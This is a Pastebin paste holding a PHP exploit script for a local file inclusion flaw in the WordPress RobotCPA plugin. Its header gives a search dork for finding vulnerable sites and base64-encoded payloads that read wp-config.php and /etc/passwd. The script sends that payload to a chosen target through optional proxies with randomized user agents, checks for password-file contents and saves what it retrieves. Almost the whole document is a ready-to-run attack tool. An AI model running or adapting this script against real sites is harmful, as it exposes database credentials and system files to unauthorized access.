CoderPirata

RobotCP Local File Include (SCRIPT-EXPLOIT)

Jun 26th, 2015
674
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.17 KB | None | 0 0
  1. <?php
  2. ini_set('error_log',NULL);
  3. ini_set('log_errors',FALSE);
  4. ini_set('display_errors', FALSE);
  5.  
  6. /*
  7.  
  8. Script-Exploit developed by CoderPirata
  9. >BLOG    - http://coderpirata.blogspot.com/
  10. >TWITTER - https://twitter.com/coderpirata
  11.  
  12. ##################################################################################################
  13. ##################################################################################################
  14. # Exploit Title: Wordpress Plugin RobotCPA V5 - Local File Include
  15. # Google Dork: inurl:"/wp-content/plugins/robotcpa/"
  16. # Date: 09.06.2015
  17. # Exploit Author: T3N38R15
  18. # Vendor Homepage: http://robot-cpa.good-info.co/
  19. # Version: 5V
  20. # Tested on: Windows (Firefox)
  21.                    Linux      (Firefox)
  22. The affected file is f.php and the get-parameter "l" is vulnerable to local file inclusion.
  23. We just need to base64 encode our injection.
  24. Like that :
  25. php://filter/resource=./../../../wp-config.php
  26. cGhwOi8vZmlsdGVyL3Jlc291cmNlPS4vLi4vLi4vLi4vd3AtY29uZmlnLnBocA==
  27. or
  28. file:///etc/passwd
  29. ZmlsZTovLy9ldGMvcGFzc3dk
  30.  
  31. our injection look then like that :
  32. http://domain.com/wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk
  33. and we can see the content of the passwd file.
  34.  
  35. greets to Black Sniper
  36. Regards T3N38R15
  37. ----
  38. https://www.exploit-db.com/exploits/37252/
  39. http://milw00rm.org/exploits/9136/
  40. ##################################################################################################
  41. ##################################################################################################
  42. */
  43.  
  44. $opt = getopt("u:", ["proxy:", "save::"]);
  45.  
  46. #BANNER
  47. echo "
  48. |::::[ RobotCP Local File Include (SCRIPT-EXPLOIT) ]::::|
  49. | Author: T3N38R15                                      |
  50. | Script-Exploit by CoderPirata                         |
  51. '-------------------------------------------------------'\n
  52. Simple usage : {$_SERVER["SCRIPT_NAME"]} -u http://target.com/wordpress/
  53. Using proxy  : {$_SERVER["SCRIPT_NAME"]} -u http://target.com/wordpress/ --proxy 127.0.0.1:80
  54. Saving result: {$_SERVER["SCRIPT_NAME"]} -u http://target.com/wordpress/ --save\n\n";
  55.  
  56. if(!isset($opt['u'])){die();}
  57. if(isset($opt['save'])){$a=1;}
  58. if(!eregi("http",$opt['u'])){$opt['u']="http://".$opt['u'];}
  59.  
  60. echo "---------------------------------------------------------\n\n";
  61. if(!function_exists("curl_init")){ echo "\n\ncURL not available, file_get_contents will be used!\n\n"; }
  62.  
  63. echo "TARGET: {$opt["u"]}\nIP: ";
  64.  
  65. #IP
  66. if(substr($opt["u"],-1) != "/"){ $opt["u"] = $opt["u"]."/";}
  67. preg_match_all("#://(.*?)/#", $opt["u"], $link_b, PREG_SET_ORDER);
  68. $basel=$link_b[0][1];
  69. if(substr(strtolower($opt["u"]), 0, 4) != "www."){$basel = "www.".$basel;}
  70. echo gethostbyname($basel)."\n\nAnd... ";
  71.  
  72. #GRAB PAGE
  73. $resultado=NULL;
  74. $poc="/wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk";
  75. if(function_exists("curl_init")){
  76. $ua = array("Firefox", "Mobile", "Opera", "Tor Browser", "GoogleBot", "Internet Explorer",
  77.              "Redhat Linux", "Ubuntu", "FreeBSD Linux", "CentOS Linux", "Android", "Debian Linux",
  78.              "en-US", "pt-BR", "cs_CZ", "pt_PT", "ru_RU", "en_IN");
  79. $ch = curl_init();
  80. curl_setopt($ch, CURLOPT_URL, $opt["u"].$poc);
  81. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  82. if($opt["proxy"]!=""){
  83.  $pp = explode(":", $opt["proxy"]);
  84.  curl_setopt($ch, CURLOPT_PROXY, $pp[0] );
  85.  curl_setopt($ch, CURLOPT_PROXYPORT, $pp[1]);
  86. }
  87. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  88. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  89. curl_setopt($ch, CURLOPT_USERAGENT, $ua[rand(0,5)]."/".rand(0,5).".".rand(0,5)." (".$ua[rand(5,10)]."; ".$ua[rand(10,15)].";)");
  90. curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  91. $page = curl_exec($ch);
  92. curl_close($ch);
  93. }elseif(empty($page) and function_exists("file_get_contents")){
  94.  $page = file_get_contents($opt["u"]);
  95. }
  96.  
  97. #VERIFY
  98. if(eregi("root:x:",$page) or eregi("/root:/",$page)){
  99.  echo "SUCESS!\nTHE TARGET IS VULNERABLE!\n\nLINK: ".$opt["u"].$poc."\n";
  100. if(isset($opt["save"])){
  101.  echo "\nRESULT SAVED IN \"".realpath(".").DIRECTORY_SEPARATOR.$basel.".txt\"\n";
  102.  file_put_contents($basel.".txt", $page, FILE_APPEND);
  103. }
  104. }else{
  105.  echo "FAIL!\nTHE TARGET IS NOT VULNERABLE!\n\nLINK: ".$opt["u"].$poc."\n";
  106. }
  107. echo "\n----------\n";
  108.  
  109. #END
Advertisement
Add Comment
Please, Sign In to add comment